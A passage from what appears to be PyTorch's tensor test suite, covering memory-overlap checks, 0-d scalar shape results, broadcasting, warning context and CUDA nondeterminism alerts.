torch.empty_like(output) op(input, out=output_exp) self.assertEqual(op(input, out=output), output_exp, msg=op.__name__) # output is identical to input: _test(op, output=data[0:sz], input=data[0:sz]) # output and input are independent: _test(op, output=data[0:sz], input=data[sz:2 * sz]) # output partially overlaps with input: if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, data[0:sz], data[1:sz + 1]) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, data[0:sz], data[1:sz + 1]) # output is transpose of input: length = int(math.sqrt(sz)) input = data[:length**2].view([length, length]) out = input.t() if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, out, input) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): _test(op, out, input) def ternary_check_input_output_mem_overlap(self, op, device, expected_failure=False): sz = 9 data = torch.randn(2 * sz, device=device) other1 = torch.randn(sz, device=device) other2 = torch.randn(sz, device=device) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(input, other1.view(input.shape), other2.view(input.shape), out=out), expected_failure=expected_failure) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(other1.view(input.shape), input, other2.view(input.shape), out=out), expected_failure=expected_failure) self.unary_check_input_output_mem_overlap( data, sz, lambda input, out: op(other1.view(input.shape), other2.view(input.shape), input, out=out), expected_failure=expected_failure) def _select_broadcastable_dims(self, dims_full=None): # select full dimensionality if dims_full is None: dims_full = [] ndims = random.randint(1, 4) dims_full = [random.randint(1, 8) for _ in range(ndims)] else: ndims = len(dims_full) # select actual dimensions for ops: # larger: full ndims, individual sizes may be reduced # smaller: possibly reduced ndims, sizes may be reduced smaller_ndims = random.randint(1, ndims) dims_small = [] dims_large = [] for i in range(ndims - 1, -1, -1): j = random.randint(1, 3) if j == 1: # no reduced singleton dimension ds = dims_full[i] dl = dims_full[i] elif j == 2: # larger may have reduced singleton dimension ds = dims_full[i] dl = 1 if len(dims_small) < smaller_ndims else dims_full[i] elif j == 3: # smaller may have reduced singleton dimension ds = 1 dl = dims_full[i] dims_large = [dl] + dims_large if len(dims_small) < smaller_ndims: dims_small = [ds] + dims_small return (dims_small, dims_large, dims_full) # collected tests of ops that used scalar_check in Declarations.cwrap for # correctness def test_scalar_check(self, device): zero_d = torch.randn((), device=device) one_d = torch.randn((1,), device=device) # remainder self.assertEqual((), torch.remainder(zero_d, zero_d).shape) self.assertEqual((), torch.remainder(zero_d, 2).shape) self.assertEqual((1,), torch.remainder(zero_d, one_d).shape) self.assertEqual((1,), torch.remainder(one_d, zero_d).shape) # fmod self.assertEqual((), torch.fmod(zero_d, zero_d).shape) self.assertEqual((), torch.fmod(zero_d, 2).shape) self.assertEqual((1,), torch.fmod(zero_d, one_d).shape) self.assertEqual((1,), torch.fmod(one_d, zero_d).shape) # exp, cos, cosh, tan, atan, tanh, erf, erfc, reciprocal self.assertEqual((), torch.exp(zero_d).shape) self.assertEqual((), torch.cos(zero_d).shape) self.assertEqual((), torch.cosh(zero_d).shape) self.assertEqual((), torch.tan(zero_d).shape) self.assertEqual((), torch.atan(zero_d).shape) self.assertEqual((), torch.acosh(zero_d).shape) self.assertEqual((), torch.asinh(zero_d).shape) self.assertEqual((), torch.atanh(zero_d).shape) self.assertEqual((), torch.tanh(zero_d).shape) self.assertEqual((), torch.erf(zero_d).shape) self.assertEqual((), torch.erfc(zero_d).shape) self.assertEqual((), torch.reciprocal(zero_d).shape) self.assertEqual((1,), torch.exp(one_d).shape) self.assertEqual((1,), torch.cos(one_d).shape) self.assertEqual((1,), torch.cosh(one_d).shape) self.assertEqual((1,), torch.tan(one_d).shape) self.assertEqual((1,), torch.atan(one_d).shape) self.assertEqual((1,), torch.acosh(one_d).shape) self.assertEqual((1,), torch.asinh(one_d).shape) self.assertEqual((1,), torch.atanh(one_d).shape) self.assertEqual((1,), torch.tanh(one_d).shape) self.assertEqual((1,), torch.erf(one_d).shape) self.assertEqual((1,), torch.erfc(one_d).shape) self.assertEqual((1,), torch.reciprocal(one_d).shape) # clamp self.assertEqual((), torch.clamp(zero_d, min=0, max=1).shape) self.assertEqual((), torch.clamp(zero_d, min=0).shape) self.assertEqual((), torch.clamp(zero_d, max=1).shape) self.assertEqual((1,), torch.clamp(one_d, min=0, max=1).shape) self.assertEqual((1,), torch.clamp(one_d, min=0).shape) self.assertEqual((1,), torch.clamp(one_d, max=1).shape) # cumsum, cumprod, cummax, cummin self.assertEqual((), torch.logcumsumexp(zero_d, 0).shape) self.assertEqual((), torch.cumsum(zero_d, 0).shape) self.assertEqual((), torch.cumprod(zero_d, 0).shape) self.assertEqual((), torch.cummax(zero_d, 0)[0].shape) self.assertEqual((), torch.cummin(zero_d, 0)[0].shape) # renorm self.assertRaises(RuntimeError, lambda: torch.renorm(zero_d, 0.5, 0, 1.0)) # sort, topk self.assertEqual([(), ()], [x.shape for x in torch.sort(zero_d, 0, False)]) self.assertEqual([(), ()], [x.shape for x in torch.sort(zero_d, 0, True)]) self.assertEqual([(), ()], [x.shape for x in torch.topk(zero_d, 1, 0, False)]) self.assertEqual([(), ()], [x.shape for x in torch.topk(zero_d, 1, 0, True)]) # lstsq (gels) self.assertRaises(RuntimeError, lambda: torch.lstsq(zero_d, zero_d)) # eig self.assertRaises(RuntimeError, lambda: torch.eig(zero_d, False)) self.assertRaises(RuntimeError, lambda: torch.eig(zero_d, True)) # this is only implemented on cpu if (torch.device(device).type == 'cpu'): self.assertRaises(RuntimeError, lambda: torch.ormqr(zero_d, zero_d, zero_d)) # max, min self.assertEqual((), torch.max(zero_d, zero_d).shape) self.assertEqual((1,), torch.max(one_d, zero_d).shape) self.assertEqual((1,), torch.max(zero_d, one_d).shape) self.assertEqual((), torch.min(zero_d, zero_d).shape) self.assertEqual((1,), torch.min(one_d, zero_d).shape) self.assertEqual((1,), torch.min(zero_d, one_d).shape) # diag self.assertRaises(RuntimeError, lambda: torch.diag(zero_d)) zero_d_int = torch.tensor(1, device=device) one_d_int = torch.tensor([1], device=device) # lshift, rshift self.assertEqual((), (zero_d_int >> zero_d_int).shape) self.assertEqual((), (zero_d_int >> 1).shape) self.assertEqual((1,), (one_d_int >> zero_d_int).shape) self.assertEqual((1,), (zero_d_int >> one_d_int).shape) self.assertEqual((1,), (one_d_int >> 1).shape) self.assertEqual((), (zero_d_int << zero_d_int).shape) self.assertEqual((), (zero_d_int << 1).shape) self.assertEqual((1,), (one_d_int << zero_d_int).shape) self.assertEqual((1,), (zero_d_int << one_d_int).shape) self.assertEqual((1,), (one_d_int << 1).shape) # or self.assertEqual((), (zero_d_int | zero_d_int).shape) self.assertEqual((), (zero_d_int | 1).shape) self.assertEqual((1,), (one_d_int | zero_d_int).shape) self.assertEqual((1,), (zero_d_int | one_d_int).shape) self.assertEqual((1,), (one_d_int | 1).shape) # and self.assertEqual((), (zero_d_int & zero_d_int).shape) self.assertEqual((), (zero_d_int & 1).shape) self.assertEqual((1,), (one_d_int & zero_d_int).shape) self.assertEqual((1,), (zero_d_int & one_d_int).shape) self.assertEqual((1,), (one_d_int & 1).shape) # clone self.assertEqual((), zero_d.clone().shape) zero_d_bool = torch.tensor(True, device=device) one_d_bool = torch.tensor([True], device=device) # masked_select self.assertEqual((1,), torch.masked_select(zero_d_bool, zero_d_bool).shape) self.assertEqual((1,), torch.masked_select(zero_d_bool, one_d_bool).shape) self.assertEqual((1,), torch.masked_select(one_d_bool, zero_d_bool).shape) zero_d_uint8 = torch.tensor(1, dtype=torch.uint8, device=device) one_d_uint8 = torch.tensor([1], dtype=torch.uint8, device=device) with warnings.catch_warnings(): warnings.simplefilter("ignore") self.assertEqual((1,), torch.masked_select(zero_d_uint8, zero_d_uint8).shape) self.assertEqual((1,), torch.masked_select(zero_d_uint8, one_d_uint8).shape) self.assertEqual((1,), torch.masked_select(one_d_uint8, zero_d_uint8).shape) # mode self.assertEqual([(), ()], [x.shape for x in torch.mode(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.mode(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.mode(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.mode(one_d, dim=0, keepdim=False)]) # max self.assertEqual([(), ()], [x.shape for x in torch.max(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.max(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.max(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.max(one_d, dim=0, keepdim=False)]) # amax self.assertEqual((), torch.amax(zero_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amax(zero_d, dim=0, keepdim=False).shape) self.assertEqual((1,), torch.amax(one_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amax(one_d, dim=0, keepdim=False).shape) # min self.assertEqual([(), ()], [x.shape for x in torch.min(zero_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.min(zero_d, dim=0, keepdim=False)]) self.assertEqual([(1,), (1,)], [x.shape for x in torch.min(one_d, dim=0, keepdim=True)]) self.assertEqual([(), ()], [x.shape for x in torch.min(one_d, dim=0, keepdim=False)]) # amin self.assertEqual((), torch.amin(zero_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amin(zero_d, dim=0, keepdim=False).shape) self.assertEqual((1,), torch.amin(one_d, dim=0, keepdim=True).shape) self.assertEqual((), torch.amin(one_d, dim=0, keepdim=False).shape) # set_ zero_d_clone = zero_d.clone() one_d_clone = one_d.clone() self.assertEqual((), zero_d_clone.set_(one_d.storage(), 0, (), ()).shape) self.assertEqual((1,), zero_d_clone.set_(one_d.storage(), 0, (1,), (1,)).shape) self.assertEqual((), one_d_clone.set_(one_d.storage(), 0, (), ()).shape) self.assertEqual((1,), one_d_clone.set_(one_d.storage(), 0, (1,), (1,)).shape) self.assertEqual((), zero_d.clone().set_(zero_d).shape) self.assertEqual((), one_d.clone().set_(zero_d).shape) self.assertEqual((1,), zero_d.clone().set_(one_d).shape) self.assertEqual((1,), one_d.clone().set_(one_d).shape) # take self.assertEqual((), torch.randn((2, 3), device=device).take(zero_d_int).shape) self.assertEqual((1,), torch.randn((2, 3), device=device).take(one_d_int).shape) # gather self.assertEqual((), torch.gather(zero_d, 0, torch.zeros((), dtype=torch.int64, device=device)).shape) self.assertEqual((1,), torch.gather(zero_d, 0, torch.zeros((1,), dtype=torch.int64, device=device)).shape) self.assertEqual((), torch.gather(one_d, 0, torch.zeros((), dtype=torch.int64, device=device)).shape) self.assertEqual((1,), torch.gather(one_d, 0, torch.zeros((1,), dtype=torch.int64, device=device)).shape) # normal # std must be >= 0 zero_d_ge_0 = torch.rand((), device=device) # documentation says out shape matches shape of mean self.assertEqual((), torch.normal(zero_d, zero_d_ge_0).shape) self.assertEqual((1,), torch.normal(one_d, zero_d_ge_0).shape) self.assertEqual((), torch.normal(1, zero_d_ge_0).shape) self.assertEqual((), torch.normal(zero_d, 1).shape) self.assertEqual((1,), torch.normal(one_d, 1).shape) # TODO: this behavior differs on CPU and GPU, see https://github.com/pytorch/pytorch/issues/30480. # self.assertEqual((), torch.normal(zero_d, one_d).shape) # self.assertEqual((), torch.normal(1, one_d).shape) # convolutions. Yes, we are testing nn.functional here; seems justified # given its similar to the other tests w = torch.randn(2, 1, 3, 3, device=device).div_(2).requires_grad_() self.assertRaises(RuntimeError, lambda: torch.nn.functional.conv2d(zero_d, w, groups=1)) self.assertRaises(RuntimeError, lambda: torch.nn.functional.conv2d(zero_d, w, groups=2)) # nll_loss -- verify input can't be 0-dimensional. self.assertRaises(ValueError, lambda: torch.nn.functional.nll_loss(zero_d, zero_d, reduction='none')) self.assertRaises(ValueError, lambda: torch.nn.functional.nll_loss(zero_d, one_d, reduction='none')) # verify output is 0-dimensional when reduction != 'none' for (input, target) in ((torch.randn(1, 1, device=device), torch.tensor([0], device=device)), (torch.randn(1, 1, 1, 1, device=device), torch.tensor([[[0]]], device=device))): self.assertEqual((), torch.nn.functional.nll_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.nll_loss(input, target, reduction='sum').shape) # multilabel_margin_loss for input in (zero_d, one_d, torch.randn(1, 1, device=device)): for target in (torch.tensor(0, device=device), torch.tensor([0], device=device), torch.tensor([[0]], device=device)): if (input.dim() <= 1 and target.dim() <= 1) or (input.dim() == 2 and target.dim() == 2): output_shape = (target.shape[0],) if target.dim() == 2 else () self.assertEqual(output_shape, torch.nn.functional.multilabel_margin_loss(input, target, reduction='none').shape) self.assertEqual((), torch.nn.functional.multilabel_margin_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.multilabel_margin_loss(input, target, reduction='sum').shape) else: self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='none')) self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='mean')) self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='sum')) # multi_margin_loss for input in (zero_d, one_d, torch.randn(1, 1, device=device)): for target in (torch.tensor(0, device=device), torch.tensor([0], device=device)): self.assertEqual(target.shape, torch.nn.functional.multi_margin_loss(input, target, reduction='none').shape) self.assertEqual((), torch.nn.functional.multi_margin_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.multi_margin_loss(input, target, reduction='sum').shape) # Uses mismatched arange out size to trigger a warning def test_cpp_warnings_have_python_context(self, device): # Creates long string in advance to avoid a too-long Python line s = ".+Triggered internally at.+RangeFactories.+" def cpp_warn_fn(): out = torch.empty((5,)) torch.arange(0, 3, out=out) return out # Checks eager-mode cpp warning with warnings.catch_warnings(record=True) as w: cpp_warn_fn() frameinfo = inspect.getframeinfo(inspect.currentframe()) warning = w[0] # Checks for cpp context in the warning message self.assertTrue(re.search(s, str(warning.message)) is not None) # Checks the Python features of the warning # Note: the eager mode warning refers to the line in the function # that throws the warning. self.assertEqual(frameinfo.lineno - 6, warning.lineno) self.assertEqual(len(w), 1) # Checks jitted cpp warning with warnings.catch_warnings(record=True) as w: scripted_cpp_warn_fn = torch.jit.script(cpp_warn_fn) scripted_cpp_warn_fn() warning = w[0] # Checks for cpp context in the warning message self.assertTrue(re.search(s, str(warning.message)) is not None) # Checks the Python features of the warning # Note: the jitted warning's lineno refers to the call to the jitted # function, which in our test suite has a layer of indirection # that makes checking the Python lineno fragile self.assertEqual(len(w), 1) # Checks jitted Python warning def warn_fn(): warnings.warn("Warning!") # The jit mimics an eager-mode Python warning in this case with warnings.catch_warnings(record=True) as w: scripted_warn_fn = torch.jit.script(warn_fn) scripted_warn_fn() frameinfo = inspect.getframeinfo(inspect.currentframe()) warning = w[0] self.assertTrue(re.search('Warning!', str(warning.message)) is not None) # Checks the Python features of the warning self.assertEqual(frameinfo.lineno - 6, warning.lineno) self.assertEqual(len(w), 1) @onlyCPU def test_warn_always_caught(self, device): # Check that we can catch a TORCH_WARN_ONCE warning twice # since assertWarnsOnceRegex uses set_warn_always(True) which changes # TORCH_WARN_ONCE to TORCH_WARN a = np.arange(10) a.flags.writeable = False with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) # OK, got it once, now try again with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) # Make sure emitting two warnings will pass the assertWarnsOnceRegex # context manager with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) torch.from_numpy(a) # TODO: this test should be in test_nn.py def test_conv_transposed_backward_agnostic_to_memory_format(self, device): in_channels = 64 out_channels = 128 scale_factor = 8 batch_size = 8 length = 16 conv = torch.nn.ConvTranspose1d( in_channels, out_channels, kernel_size=scale_factor * 2, stride=scale_factor).to(device) layer_norm = torch.nn.LayerNorm(out_channels).to(device) input_ = torch.randn(batch_size, in_channels, length).to(device).contiguous() input_ = conv(input_).contiguous() input_ = layer_norm(input_.transpose(1, 2).contiguous()).contiguous() input_.sum().backward() # TODO: this test should be in test_nn.py @onlyCUDA @largeTensorTest('12GB') def test_conv_transposed_large(self, device): # ConvTranspose3d works for large input tensors (gh-32866) in_channels = 64 out_channels = 128 kernel_size = 5 conv = torch.nn.ConvTranspose3d( in_channels, out_channels, kernel_size=kernel_size, stride=2, padding=2, output_padding=1).to(device) x = torch.rand([1, 64, 8, 128, 172]).to(device) y = conv(x) def test_is_set_to(self, device): t1 = torch.empty(3, 4, 9, 10, device=device) t2 = torch.empty(3, 4, 9, 10, device=device) t3 = torch.tensor([], device=device).set_(t1) t4 = t3.clone().resize_(12, 90) self.assertFalse(t1.is_set_to(t2)) self.assertTrue(t1.is_set_to(t3)) self.assertTrue(t3.is_set_to(t1), "is_set_to should be symmetric") self.assertFalse(t1.is_set_to(t4)) self.assertFalse(torch.tensor([]).is_set_to(torch.tensor([])), "Tensors with no storages should not appear to be set " "to each other") t1 = torch.tensor([True, True], dtype=torch.bool, device=device) t2 = torch.tensor([0], dtype=torch.bool, device=device).set_(t1) self.assertTrue(t1.is_set_to(t2)) # test that sizes must match t1 = torch.empty([2, 3, 4], device=device) t2 = t1.view(4, 3, 2) self.assertFalse(t1.is_set_to(t2)) self.assertFalse(t2.is_set_to(t1)) # test that legacy empty size behavior used to be respected (i.e. all # empty tensors were logically collapsed to size [0]). t1 = torch.empty([2, 5, 0], device=device) t2 = t1.view([0]) self.assertFalse(t1.is_set_to(t2)) self.assertFalse(t2.is_set_to(t1)) def test_broadcast(self, device): # all functions fns = { "dist", "atan2", "pow", "lerp", "add", "sub", "mul", "div", "fmod", "remainder", "eq", "ge", "gt", "le", "lt", "max", "min", "ne", "addcdiv", "addcmul", "masked_scatter", "masked_select", "masked_fill", "map", "map2", "copy" } # functions with three tensor arguments fns_3_args = {"map2"} fns_value_kwarg = {"addcdiv", "addcmul"} for fn in fns: (dims_small, dims_large, dims_full) = self._select_broadcastable_dims() full1d = torch.randn(*dims_full, device=device).flatten().float() small = torch.randn(*dims_small, device=device).float() large = torch.randn(*dims_large, device=device).float() small_expanded = small.expand(*dims_full) large_expanded = large.expand(*dims_full) small2 = None small2_expanded = None if fn in fns_3_args or fn in fns_value_kwarg: # create another smaller tensor (dims_small2, _, _) = self._select_broadcastable_dims(dims_full) small2 = torch.randn(*dims_small2, device=device).float() small2_expanded = small2.expand(*dims_full) if small.is_cuda and fn in ['map', 'map2']: # map and map2 are not implementd on CUDA tensors continue if hasattr(large_expanded, fn): # run through tensor versions of functions # and verify fully expanded inputs give same results expanded = {large: large_expanded, small: small_expanded, small2: small2_expanded} def tensorfn(myfn, t1, t2): if fn == "lerp": return myfn(t1, 0.5) elif fn == "masked_select": return myfn(t1 < 0) elif fn == "masked_scatter": return myfn(t1 < 0.5, full1d) elif fn == "masked_fill": return myfn(t1 < 0.5, 1.0) elif fn in fns_3_args: return myfn(1, t1, t2) elif fn in fns_value_kwarg: return myfn(t1, t2, value=1) else: return myfn(t1) # test various orders for first, second, third in [(large, small, small2), (small, large, small2), (small2, small, large), (small2, large, small)]: if first is None: break # ignore last iter when small2 is None method_expanded = getattr(expanded[first], fn) method = getattr(first, fn) r1 = tensorfn(method_expanded, expanded[second], expanded[third]) r2 = tensorfn(method, second, third) self.assertEqual(r1, r2) # now for torch. versions of functions if hasattr(torch, fn): fntorch = getattr(torch, fn) expanded = {large: large_expanded, small: small_expanded, small2: small2_expanded} def torchfn(t1, t2, t3): if fn == "lerp": return fntorch(t1, t2, 0.5) elif fn == "masked_select": return fntorch(t1, t2 < 0) elif fn == "masked_scatter": return fntorch(t1, t2 < 0.5, full1d) elif fn == "masked_fill": return fntorch(t1, t2 < 0.5, 1.0) elif fn in fns_3_args: return fntorch(t1, 1.0, t2, t3) elif fn in fns_value_kwarg: return fntorch(t1, t2, t3, value=1.0) else: return fntorch(t1, t2) # test various orders for first, second, third in [(large, small, small2), (small, large, small2), (small2, small, large), (small2, large, small)]: if first is None: break # ignore last iter when small2 is None r1 = torchfn(expanded[first], expanded[second], expanded[third]) r2 = torchfn(first, second, third) self.assertEqual(r1, r2) # now for in place functions # in-place tensor is not broadcastable; test only guaranteed # to work by broadcasting other argument(s) if not hasattr(large_expanded, fn + "_"): continue # need to clone largeExpanded so we can reuse, since functions are in-place large_expanded_clone = large_expanded.clone() def tensorfn_inplace(t0, t1, t2=None): t0_fn = getattr(t0, fn + "_") if fn == "lerp": return t0_fn(t1, 0.5) elif fn == "masked_scatter": return t0_fn(t1 < 0.5, full1d) elif fn == "masked_fill": return t0_fn(t1 < 0.5, 1.0) elif fn == "map": return t0_fn(t1, lambda x, y: x + y) elif fn == "map2": return t0_fn(t1, t2, lambda x, y, z: x + y + z) elif fn in fns_3_args: return t0_fn(1.0, t1, t2) elif fn in fns_value_kwarg: return t0_fn(t1, t2, value=1.0) else: return t0_fn(t1) # in-place pointwise operations don't actually work if the in-place # tensor is 0-strided (numpy has the same issue) if (0 not in large_expanded.stride() and 0 not in large_expanded_clone.stride()): r1 = tensorfn_inplace(large_expanded, small_expanded, small2_expanded) r2 = tensorfn_inplace(large_expanded_clone, small, small2) self.assertEqual(r1, r2) def broadcastable(t0, t1, t2=None): try: t1.expand_as(t0) if t2 is not None: t2.expand_as(t0) except RuntimeError: return False return True def _test_in_place_broadcastable(t0, t1, t2=None): if not broadcastable(t0, t1, t2): same_size = t0.numel() == t1.numel() and (t0.numel() == t2.numel() if t2 is not None else True) if not same_size: self.assertRaises(RuntimeError, lambda: tensorfn_inplace(t0, t1, t2)) else: tensorfn_inplace(t0, t1, t2) if fn not in fns_3_args and fn not in fns_value_kwarg: _test_in_place_broadcastable(small, large_expanded) _test_in_place_broadcastable(small, large) else: _test_in_place_broadcastable(small2, small_expanded, large_expanded) _test_in_place_broadcastable(small2, small, large) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "cublas runtime error") @onlyCUDA @wrapDeterministicFlagAPITest def test_cublas_config_nondeterministic_alert(self, device): test_cases = [ # (function, (tensor sizes)) ('mm', ((2, 2), (2, 2),)), ('mv', ((2, 2), (2,),)), ('bmm', ((1, 2, 2), (1, 2, 2),))] test_configs = [ # (CuBLAS workspace config, is deterministic) ('garbage', False), (None, False), (':4096:8', True), (':16:8', True)] cublas_var_name = 'CUBLAS_WORKSPACE_CONFIG' is_cuda10_2_or_higher = ( (torch.version.cuda is not None) and ([int(x) for x in torch.version.cuda.split(".")] >= [10, 2])) def test_case_info(fn_name, config): return f'function "{fn_name}" with config "{"" if config is None else config}"' # Create processes to test each combination of test cases and config settings processes = [] for fn_name, arg_sizes in test_cases: for config, is_config_deterministic in test_configs: env = os.environ.copy() if config is None: if env.get(cublas_var_name) is not None: del env[cublas_var_name] else: env[cublas_var_name] = config should_throw_error = is_cuda10_2_or_higher and not is_config_deterministic script = f""" import torch torch.use_deterministic_algorithms(True) fn = torch.{fn_name} arg_sizes = {arg_sizes} device = '{device}' should_throw_error = {should_throw_error} args = [] for arg_size in arg_sizes: args.append(torch.randn(*arg_size, device=device)) try: fn(*args) except RuntimeError as e: if not should_throw_error: raise RuntimeError('Did not expect any error to be raised') elif 'Deterministic behavior was enabled with either' not in str(e): raise RuntimeError('Expected a CuBLAS nondeterministic error, but got a different error') else: if should_throw_error: raise RuntimeError('Expected a CuBLAS nondeterministic error, but it was not raised') """ try: subprocess.check_output( [sys.executable, '-c', script], stderr=subprocess.STDOUT, # On Windows, opening the subprocess with the default CWD makes `import torch` # fail, so just set CWD to this script's directory cwd=os.path.dirname(os.path.realpath(__file__)), env=env) except subprocess.CalledProcessError as e: self.fail(msg=( f'Subprocess exception while attempting to run {test_case_info(fn_name, config)}:\n' + e.output.decode("utf-8"))) def test_nondeterministic_alert_AvgPool3d(self, device): module = torch.nn.AvgPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('avg_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveAvgPool2d(self, device): module = torch.nn.AdaptiveAvgPool2d(3) input = torch.randn(2, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_avg_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveAvgPool3d(self, device): module = torch.nn.AdaptiveAvgPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_avg_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_MaxPool3d(self, device): module = torch.nn.MaxPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('max_pool3d_with_indices_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveMaxPool2d(self, device): module = torch.nn.AdaptiveMaxPool2d(3) input = torch.randn(2, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_max_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_FractionalMaxPool2d(self, device): module = torch.nn.FractionalMaxPool2d(2, output_ratio=0.5) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('fractional_max_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_FractionalMaxPool3d(self, device): module = torch.nn.FractionalMaxPool3d(2, output_ratio=0.5) input = torch.randn(2, 3, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('fractional_max_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_linear(self, device): input = torch.randn(1, 2, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='linear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_linear1d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_bilinear(self, device): input = torch.randn(1, 2, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='bilinear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_bilinear2d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_bicubic(self, device): input = torch.randn(1, 2, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='bicubic', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_bicubic2d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_trilinear(self, device): input = torch.randn(1, 2, 4, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='trilinear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_trilinear3d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad1d(self, device): module = torch.nn.ReflectionPad1d((1, 2)) input = torch.randn(2, 3, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad1d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad2d(self, device): module = torch.nn.ReflectionPad2d((1, 2, 3, 4)) input = torch.randn(2, 3, 8, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad3d(self, device): module = torch.nn.ReflectionPad3d((1, 2, 3, 4, 5, 6)) input = torch.randn(2, 3, 8, 8, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad3d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad1d(self, device): module = torch.nn.ReplicationPad1d((1, 2)) input = torch.randn(2, 3, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad1d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad2d(self, device): module = torch.nn.ReplicationPad2d((1, 2, 3, 4)) input = torch.randn(2, 3, 4, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad3d(self, device): module = torch.nn.ReplicationPad3d((1, 2, 3, 4, 5, 6)) input = torch.randn(2, 3, 4, 4, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_NLLLoss(self, device): module = torch.nn.NLLLoss() input = torch.randn(2, 3, 5, 5, device=device) target = torch.rand(2, 5, 5, device=device).mul(3).floor().long() 